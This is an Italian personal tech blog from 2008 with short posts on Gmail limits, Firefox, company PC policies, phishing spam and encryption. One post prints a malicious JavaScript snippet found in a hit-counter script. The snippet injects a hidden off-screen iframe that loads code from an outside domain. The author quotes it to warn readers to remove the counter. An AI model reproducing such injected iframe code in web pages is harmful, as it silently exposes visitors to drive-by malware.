Leggo da DElyMyth che Gmail ha un tetto giornaliero al numero di messaggi che si possono inviare. Non è possibile inviare più di 500 messaggi al giorno, un singolo messaggio non può essere inviato a più di 500 destinatari, e il numero totale di destinatari (ogni messaggio inviato a N persone conta come N) non può superare i 2000. Addirittura, se si usa l’interfaccia POP o IMAP, il limite scende a 100 messaggi al giorno.
Personalmente la cosa non mi preoccupa più di tanto: soprattutto per quanto riguarda la parte POP/IMAP, si può tranquillamente immaginare che una persona che abbia bisogno di fare invii massicci di messaggi abbia un altro mailserver su cui autenticarsi. E d’altra parte, almeno leggendo qui, i limiti di Google sono maggiori di quelli di altri sistemi di email gratuita. Quello che però mi dà fastidio è che non è affatto facile trovare scritti da qualche parte questi limiti. Solo sapendo cosa cercare mi è uscito fuori questo risultato. Si direbbe insomma che l’usabilità non è ancora una priorità per gli amici di Google!

Ultimo aggiornamento: 2008-06-25 19:04

stamattina l’ho scaricato, e poi l’ho installato – su una directory diversa e usando un profilo pulito, per evitare troppi casini.
Però a quanto pare non riesco a reimportare le password né i bookmark (tutta roba che ho in locale), e nemmeno collegarmi a Foxmarks. Al momento ho altro da fare: mi sa che FF2 rimarrà ancora per un po’ il mio browser preferito :-)
Aggiornamento: (16:40) Con un upgrade del vecchio profilo le cose sembrano (paradossalmente) funzionare meglio.

Ultimo aggiornamento: 2008-06-18 14:57

Come ho già scritto, il mio pc aziendale è gestito remotamente. Nulla di male in generale. Però tra le policy di dominio, su cui io non posso fare nulla pur avendo i diritti di amministratore, c’è anche quella sullo sfondo del PC. Fino alla scorsa settimana, avevo perlomento la possibilità di non avere uno sfondo, ma semplicemente un colore uniforme, e mi accontentavo. Ma lunedì, in un tentativo da remoto per permettermi di accedere alla posta aziendale all’avvio del pc – non che ci siano riusciti, ma visto che poi ho scoperto che la colpa è di ZoneAlarm che blocca non riesco a capire quale processo, e visto che io ufficialmente non dovrei avere un firewall aggiuntivo, me lo tengo così – sono stato forzato ad avere lo Sfondo Telecom Ufficiale, con una bella barra rossa in cima comprendente il logo e un disegno in mezzo che non mi fa più distinguere le icone.
A questo punto mi sono scocciato. Sono andato su C:/WINDOWS e come prima cosa ho sostituito il file NewSfondo.jpg con l’immagine che volevo io (la foto della blogosfera che era uscita a suo tempo su Nòva : tranne che al centro è praticamente tutta nera, l’ideale). Togliere la barra è stato un po’ più complicato: alla fine ho scoperto che il colpevole era il file desk.htm, sempre nella directory di Windows, che è stato pertanto opportunamente modificato.
A parte queste operazioni illegali che ho compiuto, capisco che forse lo sfondo uniforme è stato pensato per le segretarie, e che le segretarie probabilmente non si darebbero la pena di fare tutte queste modifiche (a parte che mi sa che non abbiano nemmeno i diritti di accesso a quei file). Però qual è la vera ragione logica di avere una policy per gli sfondi? Fanno forse male a qualcuno?
Aggiornamento: (12:30) tra le altre “novità” dopo l’intervento remoto c’è stata la modifica della home page di Internet Explorer (che avevo settato ad http://localhost/) Cosa c’è adesso? Il sito Telecom? l’intranet? No. http://it.msn.com/. Giusto per dire come sono fatte le policy aziendali.

Ultimo aggiornamento: 2008-05-27 10:35

Stasera, mentre aspettavo che il diluvio su Milano scemasse un po’ per tornare a casa, mi sono accorto che se cliccavo su un’icona nella barra Quick Launch (come si dice in italiano? Esecuzione rapida?) del pc dell’ufficio non succedeva nulla. Se però aprivo la cartella Quick Launch, da lì i programmi partivano. Vabbè, ho pensato, poco male, tanto poi lo spengo e domani mattina si vedrà.
Torno a casa, e Anna era sul mio PC. Dopo un po’ mi chiama dicendo “non riesco a far partire Firefox dall’iconcina!” Stava succedendo esattamente la stessa cosa. (Per la cronaca, adesso ho ammazzato e fatto ripartire explorer.exe e il tutto sembra a posto).
Cos’è? il 22 maggio è la Giornata In Cui XP Ha Più Paturnie Del Solito?

Ultimo aggiornamento: 2008-05-22 19:55

Paolo Beneforti potrà finalmente vedere che non ce l’ho solo con Repubblica.it. Il Corsera ha appena pubblicato questo articolo, scopiazzat^W tratto da Wired (a onor del vero, il link ce l’hanno messo), dove si parla della prima calcolatrice meccanica in grado di fare moltiplicazioni, e si termina con la frase «Nel 1972, grazie al contributo di queste (e altre) grandi intuizioni, nascerà poi la Datamah, la prima calcolatrice tascabile prodotta da Texas Instruments.».
Ok, la serie di calcolatrici sarebbe la Datamath, ma bisogna dire che la traduttrice ha fatto una ricerchina, visto che il nome non c’era nell’articolo ufficiale. L’errore di battitura non lo computo certo. Il fatto è che se Wired ha deciso di fare una marchetta a TI, non è bello copiarla: la prima calcolatrice elettronica tascabile è stata la HP35 (vedi anche qua). Mi sa tanto che la signora Di Pasqua ai tempi non era ancora nata :-)

Ultimo aggiornamento: 2008-05-07 21:42

Inizio con una notizia di servizio, anche se probabilmente inutile visto che i miei lettori sono italianofili. Se vi arriva un mail scritto in portoghese/brasiliano dal titolo Telegrama Urgente!, non cliccate sopra il Telegrama, anche perché il file index.php invia immediatamente uno .scr che è il troiano Mal.Banker.
Aggiungo poi che l’ultimo phishing sulle Poste Italiane non è nulla di particolare, se non per l’indirizzo di invio che è posTTe.it, probabilmente la versione finnica; altrimenti le Poste ItaliEne sono sempre una sicurezza.
Ma la parte più divertente è sicuramente lo spam dei riciclatori russi di denaro dalla provenienza non ben determinata. ll messaggio, che mi è arrivato sulla casella di posta aziendale subito prima delle scuse di Luca Luciani (non credo però ci sia una correlazione) era scritto centrato come una poesia sperimentale anni ’60 e il traduttore automatico aveva fatto del suo meglio per generare del lirismo degno di ben altri scritti. Vi lascio alcune chicche per farvi iniziare meglio la giornata:
– Noi siamo la società sviluppata con il ricco di movimento nel campo di finanzaria!
– Per rafforzare la nostra società noi stiamo cercando dei professioniste [però il femminile genera qualche equivoco…]
– Le suggeriamo del stipendio quello dipende da volume del vostro lavoro
Ma il meglio è alla fine, quando mi viene detto a quale indirizzo scrivere per “chiedere le dettagli oppure fare le domande”: la frase inizia con “Se Lei è interessante”. Sono già tagliato fuori in partenza.

Ultimo aggiornamento: 2008-04-07 10:32

Domenica avevo scritto a proposito dei troiani che cercavano di intrufolarsi sul mio povero PC mentre navigavo sulle pagine di splinder. Oggi pomeriggio, mentre guardavo che succedeva da Copiascolla, mi sono visto in diretta il troiano che voleva cambiare la mia homepage (come se io non usassi SpyBot e TeaTimer per bloccare simili richieste :-) ) Mi sono messo a dare un’occhiata a quale parte del codice inserisse il tutto: dopo avere benedetto il fatto che Firefox ti permette di scrivere view-source: e visualizzare il sorgente di una pagina web invece che la pagina stessa, ho scoperto che il colpevole era il contatore delle statistiche. Se uno guarda http://stat.superstat.info/counter.php, o almeno lo guardava quando ho provato io, avrebbe trovato questo simpatico pezzo di codice:
if ( parseInt(pr17) <= parseInt("9") && parseInt(visit17) < 2 ) {
document.write('<div style="position:absolute;left:-5000px;top:-5000px;visibility:hidden;">');
document.write('<if'+'rame frameborder="0" src="http://a1p.cgste2.won-ppp.info/htm/cc1.php?p=55&cc2=it"><'+'/iframe>' );
document.write('</div>');
};
Ho già detto che io JavaScript non lo parlo, ma credo che sia abbastanza chiaro che viene aperto un iframe che chiama appunto uno script su won-ppp.info. Ho provato a guardare le informazioni di whois per superstat.info, e ho visto che il dominio è “nascosto”, o meglio registrato da domainsbyproxy.com, che afferma di essere un utile servizio perché i dati pubblici dei dominii non siano preda di spammer ma a me sembra più un sistema perché non si sappiano i dati degli spammer. L’ultimo aggiornamento del record è dello scorso ottobre: visto che Gaia mi ha detto che quel contatore ce l’ha da almeno un anno, non penso sia impossibile che il dominio sia scaduto e sia stato preso da qualcuno che usi il servizio come copertura – sì, lo so, fa tanto James Bond o il negozio di fiori dei vecchi Alan Ford, ma che ci volete fare?
Vabbè, se non avete capito nulla del pippone non è importante, visto che quello che conta :-) è solo quest’ultima riga. Se avete un contatore su superstat.info, toglietelo subito.

Ultimo aggiornamento: 2008-03-26 15:51

In un post su neverendingbooks che parlava di tutt’altro, ho scoperto l’esistenza di questo sistema di crittografia, che è stato indubbiamente generato da una mente malata. L’idea di base del sistema è che per crittare un testo (in maniera standard, intendo) occorre ovviamente il testo da crittare, ma anche una chiave. Nel sistema di Rod McFarland, la chiave è il contenuto di un URL (nascosta all’interno del testo crittato). Questo significa che basta che il contenuto della pagina cambi, e non è più possibile tornare al contenuto iniziale[*]. La cosa diventa divertente, come nel caso di neverendingbooks, quando la pagina utilizzata per crittare è una come isitfriday; in pratica si può leggere il post solamente di venerdì. Qualche info in più la trovate qua.
[*] in realtà credo che siano possibili degli attacchi basati sul fatto che il testo usato per crittare non è statisticamente casuale, ma non stiamo a sottilizzare.

Ultimo aggiornamento: 2008-02-29 12:14